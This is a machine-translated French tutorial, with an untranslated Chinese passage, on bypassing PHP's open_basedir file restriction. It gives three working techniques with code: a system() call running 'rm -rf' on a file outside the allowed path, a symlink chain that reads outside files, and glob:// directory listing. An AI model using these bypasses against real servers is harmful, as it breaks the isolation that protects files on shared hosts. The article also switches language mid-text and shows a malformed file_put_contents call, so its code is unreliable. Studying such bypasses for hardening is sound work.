Maison  >  Article  >  développement back-end  >  Comment contourner les restrictions open_basedir sur les fichiers d'exploitation via PHP

Comment contourner les restrictions open_basedir sur les fichiers d'exploitation via PHP

不言
不言original
2018-06-11 09:58:042482parcourir

Cet article partage avec vous trois méthodes et techniques associées permettant à PHP de contourner les restrictions open_basedir sur les fichiers d'exploitation. Les amis intéressés peuvent en tirer des leçons.

0x00 Connaissances préliminaires

À propos d'open_basedir

open_basedir est une option de configuration dans php.ini

Il peut limiter l'étendue des activités des utilisateurs pour accéder aux fichiers dans la zone spécifiée

En supposant que open_basedir=/home/wwwroot/home/web1/:/tmp/, les utilisateurs qui accèdent au serveur via web1 ne pourront pas le faire. obtenir des informations sur le serveur sauf /Fichiers en dehors des deux répertoires home/wwwroot/home/web1/ et /tmp/.

Notez que les restrictions spécifiées avec open_basedir sont en fait des préfixes, pas des noms de répertoire.

Par exemple : Si "open_basedir = /dir/user", alors les répertoires "/dir/user" et "/dir/user1" sont accessibles. Donc, si vous souhaitez restreindre l'accès à un répertoire spécifié uniquement, terminez le chemin d'accès par une barre oblique.

À propos des liens symboliques

Les liens symboliques, également appelés liens symboliques, sont un type spécial de fichier qui contient le nom de chemin d'un autre fichier (chemin absolu ou chemin relatif). chemin).

Le chemin peut être n'importe quel fichier ou répertoire et peut relier des fichiers dans différents systèmes de fichiers. Lors de la lecture ou de l'écriture d'un fichier de symboles, le système convertira automatiquement l'opération en opération sur le fichier source. Cependant, lors de la suppression d'un fichier lié, le système supprime uniquement le fichier lié, pas le fichier source lui-même.

0x01 Fonction d'exécution de commande

Étant donné que le paramètre open_basedir n'est pas valide pour les fonctions d'exécution de commande telles que le système, nous pouvons utiliser la fonction d'exécution de commande pour accéder à des accès restreints répertoires .

Nous créons d'abord un répertoire

/home/puret/test/

et créons un nouveau 1.txt dans ce répertoire avec le contenu abc

nano 1.txt

Créez un répertoire dans ce répertoire et nommez-le b

mkdir b

Et créez un fichier 1.php dans ce répertoire avec le contenu

<?php
  echo file_get_contents("../1.txt");
?>

et définissez notre open_basedir dans php.ini

open_basedir = /home/puret/test/b/

Nous essayons d'exécuter 1.php pour voir si open_basedir restreindra notre accès

L'effet d'exécution est montré dans la figure

Évidemment, nous ne pouvons pas lire directement les fichiers du répertoire autres que ceux spécifiés par open_basedir.

Ensuite, nous utilisons la fonction système pour essayer de contourner les restrictions de open_basedir pour supprimer 1.txt

modifier 1.php en

<?php
 system("rm -rf ../1.txt");
?>

Jetons d'abord un coup d'œil à la situation du fichier avant d'exécuter 1.php

Après avoir exécuté 1.php

J'ai contourné avec succès open_basedir pour supprimer des fichiers via la fonction d'exécution de commande.
Étant donné que les fonctions d'exécution de commandes sont généralement limitées à Disable_function, nous devons trouver d'autres moyens de contourner la restriction.

Fonction 0x02 symlink()

Apprenons d'abord la fonction de lien symbolique

bool symlink ( string $target , string $link )

La fonction symlink établira un lien symbolique nommé link pointant vers la cible Bien entendu, généralement cette cible est limitée à open_basedir.
Comme le premier lien symbolique ne prenait pas en charge Windows, mon environnement de test a été placé sur Linux.

La version PHP testée est la 5.3.0. Veuillez tester les autres versions par vous-même.

Dans l'environnement Linux, nous pouvons effectuer certains contournements logiques via un lien symbolique, ce qui nous permet d'exploiter des fichiers dans des répertoires.

Nous éditons d'abord le contenu de 1.php dans /var/www/html/1.php comme

<?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

Créez ensuite un nouveau fichier 1.txt dans /var/www/ avec le contenu

"abc"

Ensuite configurez notre open_basedir

open_basedir = /var/www/html/

Modifiez un script php dans le répertoire html pour vérifier open_basedir

<?php
   file_get_contents("../1.txt");
?>

Exécutez et jetez un œil.

Comme prévu, le fichier est inaccessible.

Nous exécutons le script que nous venons d'écrire, 1.php

Vous pouvez voir que le contenu du fichier 1.txt a été avec succès lu et échappé. La limitation de open_basedir

La clé du problème réside dans

symlink("tmplink/../../1.txt"," exploit");

À l'heure actuelle, tmplink est toujours un fichier de lien symbolique, et le chemin vers lequel il pointe est c/d, donc le chemin pointé par l'exploit devient

c/d/../ ../1.txt

Étant donné que ce chemin est à portée de open_basedir, l'exploit est établi avec succès.

Après cela, nous supprimons le fichier de lien symbolique tmplink et créons un nouveau dossier avec le même nom que tmplink. À ce stade, le chemin pointé par l'exploit est

.

tmplink/../../

由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/

然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 glob伪协议

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test

并且在/var/www/html/下新建t.php内容为

<?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

执行结果如图:

成功躲过open_basedir的限制读取到了文件。

以上就是本文的全部内容,希望对大家的学习有所帮助,更多相关内容请关注PHP中文网!

相关推荐:

关于ThinkPHP中Common/common.php文件常用函数的功能分析

PHP 中TP5 Request的请求对象

PHP的Cannot use object of type stdClass as array in错误的解决办法

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn